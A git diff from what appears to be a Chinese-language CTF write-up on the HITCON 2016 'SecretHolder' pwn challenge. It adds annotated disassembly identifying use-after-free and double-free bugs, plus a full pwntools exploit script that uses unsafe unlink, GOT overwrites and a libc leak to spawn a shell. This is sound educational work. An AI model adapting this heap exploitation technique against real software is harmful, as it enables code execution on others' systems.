0x61a80) 读入 huge secret | ||||| | 0x00400aea nop | ||||| | ; XREFS: JMP 0x004009dc JMP 0x004009eb JMP 0x00400a38 JMP 0x00400a47 JMP 0x00400a94 JMP 0x00400aa0 | `````-`-> 0x00400aeb mov rax, qword [local_8h] @@ -193,6 +193,17 @@ Which Secret do you want to wipe? | `-> 0x00400aff leave \ 0x00400b00 ret ``` +还是一样的,该函数使用 `calloc()` 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个。另外看函数开头部分,huge secret 显然受到了特殊处理。 + +- small secret: small chunk, 40 bytes + - small_ptr: 0x006020d0 + - small_flag: 0x006020e0 +- big secret: large chunk, 4000 bytes + - big_ptr: 0x006020c0 + - big_flag: 0x006020d8 +- huge secret: large chunk, 400000 bytes + - huge_ptr: 0x006020c8 + - huge_flag: 0x006020dc #### Wipe secret ``` @@ -232,21 +243,21 @@ Which Secret do you want to wipe? | 0x00400b73 mov dword [local_14h], eax | 0x00400b76 mov eax, dword [local_14h] | 0x00400b79 cmp eax, 1 ; 1 -| ,=< 0x00400b7c je 0x400b85 +| ,=< 0x00400b7c je 0x400b85 ; small secret | | 0x00400b7e cmp eax, 2 ; 2 -| ,==< 0x00400b81 je 0x400ba0 +| ,==< 0x00400b81 je 0x400ba0 ; big secret | ,===< 0x00400b83 jmp 0x400bba | ||| ; JMP XREF from 0x00400b7c (sub.Which_Secret_do_you_want_to_wipe_b01) | ||`-> 0x00400b85 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0 | || 0x00400b8c mov rdi, rax -| || 0x00400b8f call sym.imp.free ; void free(void *ptr) -| || 0x00400b94 mov dword [0x006020e0], 0 ; [0x6020e0:4]=0 +| || 0x00400b8f call sym.imp.free ; free([0x006020d0]) 释放 small secret +| || 0x00400b94 mov dword [0x006020e0], 0 ; 设置 small_flag 为 0 | ||,=< 0x00400b9e jmp 0x400bba | ||| ; JMP XREF from 0x00400b81 (sub.Which_Secret_do_you_want_to_wipe_b01) | |`--> 0x00400ba0 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0 | | | 0x00400ba7 mov rdi, rax -| | | 0x00400baa call sym.imp.free ; void free(void *ptr) -| | | 0x00400baf mov dword [0x006020d8], 0 ; [0x6020d8:4]=0 +| | | 0x00400baa call sym.imp.free ; free([0x006020c0]) 释放 big secret +| | | 0x00400baf mov dword [0x006020d8], 0 ; 设置 big_flag 为 0 | | | 0x00400bb9 nop | | | ; JMP XREF from 0x00400b83 (sub.Which_Secret_do_you_want_to_wipe_b01) | | | ; JMP XREF from 0x00400b9e (sub.Which_Secret_do_you_want_to_wipe_b01) @@ -258,6 +269,7 @@ Which Secret do you want to wipe? | `-> 0x00400bce leave \ 0x00400bcf ret ``` +该函数只能释放 small secret 和 big secret。释放的过程首先将对应的 chunk 释放掉,然后设置对应 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。 #### Renew secret ``` @@ -297,14 +309,14 @@ Which Secret do you want to wipe? | 0x00400c42 mov dword [local_14h], eax | 0x00400c45 mov eax, dword [local_14h] | 0x00400c48 cmp eax, 1 ; 1 -| ,=< 0x00400c4b je 0x400c54 +| ,=< 0x00400c4b je 0x400c54 ; small secret | | 0x00400c4d cmp eax, 2 ; 2 -| ,==< 0x00400c50 je 0x400c8a +| ,==< 0x00400c50 je 0x400c8a ; big secret | ,===< 0x00400c52 jmp 0x400cbd | ||| ; JMP XREF from 0x00400c4b (sub.Which_Secret_do_you_want_to_renew_bd0) | ||`-> 0x00400c54 mov eax, dword [0x006020e0] ; [0x6020e0:4]=0 | || 0x00400c5a test eax, eax -| ||,=< 0x00400c5c je 0x400c88 +| ||,=< 0x00400c5c je 0x400c88 ; small_flag 为 0 时,函数返回 | ||| 0x00400c5e mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||| 0x00400c63 call sym.imp.puts ; int puts(const char *s) | ||| 0x00400c68 mov rax, qword [0x006020d0] ; [0x6020d0:8]=0 @@ -312,14 +324,14 @@ Which Secret do you want to wipe? | ||| 0x00400c74 mov rsi, rax | ||| 0x00400c77 mov edi, 0 | ||| 0x00400c7c mov eax, 0 -| ||| 0x00400c81 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| ||| 0x00400c81 call sym.imp.read ; read(0, [0x006020d0], 0x28) 否则读入 small secret | ,====< 0x00400c86 jmp 0x400cbd | |||| ; JMP XREF from 0x00400c5c (sub.Which_Secret_do_you_want_to_renew_bd0) | ,===`-> 0x00400c88 jmp 0x400cbd | |||| ; JMP XREF from 0x00400c50 (sub.Which_Secret_do_you_want_to_renew_bd0) | |||`--> 0x00400c8a mov eax, dword [0x006020d8] ; [0x6020d8:4]=0 | ||| 0x00400c90 test eax, eax -| ||| ,=< 0x00400c92 je 0x400cbc +| ||| ,=< 0x00400c92 je 0x400cbc ; big_flag 为 0 时,函数返回 | ||| | 0x00400c94 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||| | 0x00400c99 call sym.imp.puts ; int puts(const char *s) | ||| | 0x00400c9e mov rax, qword [0x006020c0] ; [0x6020c0:8]=0 @@ -327,7 +339,7 @@ Which Secret do you want to wipe? | ||| | 0x00400caa mov rsi, rax | ||| | 0x00400cad mov edi, 0 | ||| | 0x00400cb2 mov eax, 0 -| ||| | 0x00400cb7 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| ||| | 0x00400cb7 call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 否则读入 big secret | ||| | ; JMP XREF from 0x00400c92 (sub.Which_Secret_do_you_want_to_renew_bd0) | ||| `-> 0x00400cbc nop | ||| ; JMP XREF from 0x00400c52 (sub.Which_Secret_do_you_want_to_renew_bd0) @@ -341,6 +353,7 @@ Which Secret do you want to wipe? | `-> 0x00400cd1 leave \ 0x00400cd2 ret ``` +该函数只能对 small secret 和 big secret 进行修改,所以 huge secret 就是一次分配,永远存在且内容不可修改了。过程是首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。 ## 漏洞利用 diff --git a/src/writeup/6.1.21_pwn_hitconctf2016_secret_holder/exp.py b/src/writeup/6.1.21_pwn_hitconctf2016_secret_holder/exp.py new file mode 100644 index 0000000..736b10f --- /dev/null +++ b/src/writeup/6.1.21_pwn_hitconctf2016_secret_holder/exp.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc.so.6'}) +elf = ELF('SecretHolder') +libc = ELF('libc.so.6') + +small_ptr = 0x006020b0 +big_ptr = 0x006020a0 + +def keep(idx): + io.sendlineafter("Renew secret\n", '1') + io.sendlineafter("Huge secret\n", str(idx)) + io.sendafter("secret: \n", 'AAAA') + +def wipe(idx): + io.sendlineafter("Renew secret\n", '2') + io.sendlineafter("Huge secret\n", str(idx)) + +def renew(idx, content): + io.sendlineafter("Renew secret\n", '3') + io.sendlineafter("Huge secret\n", str(idx)) + io.sendafter("secret: \n", content) + +def unlink(): + keep(1) + wipe(1) + keep(2) # big + wipe(1) # double free + keep(1) # small + keep(3) + wipe(3) + keep(3) # huge + + payload = p64(0) # fake prev_size + payload += p64(0x21) # fake size + payload += p64(small_ptr - 0x18) # fake fd + payload += p64(small_ptr - 0x10) # fake bk + payload += p64(0x20) # fake prev_size + payload += p64(0x61a90) # fake size + renew(2, payload) + + wipe(3) # unsafe unlink + +def leak(): + global one_gadget + + payload = "A" * 8 + payload += p64(elf.got['free']) # big_ptr -> free@got.plt + payload += "A" * 8 + payload += p64(big_ptr) # small_ptr -> big_ptr + renew(1, payload) + renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt + renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt + + wipe(2) + puts_addr = u64(io.recvline()[:6] + "\x00\x00") + libc_base = puts_addr - libc.symbols['puts'] + one_gadget = libc_base + 0x4525a + + log.info("libc base: 0x%x" % libc_base) + log.info("one_gadget address: 0x%x" % one_gadget) + +def pwn(): + payload = "A" * 0x10 + payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt + renew(1, payload) + + renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget + io.interactive() + +if __name__ == "__main__": + unlink() + leak() + pwn()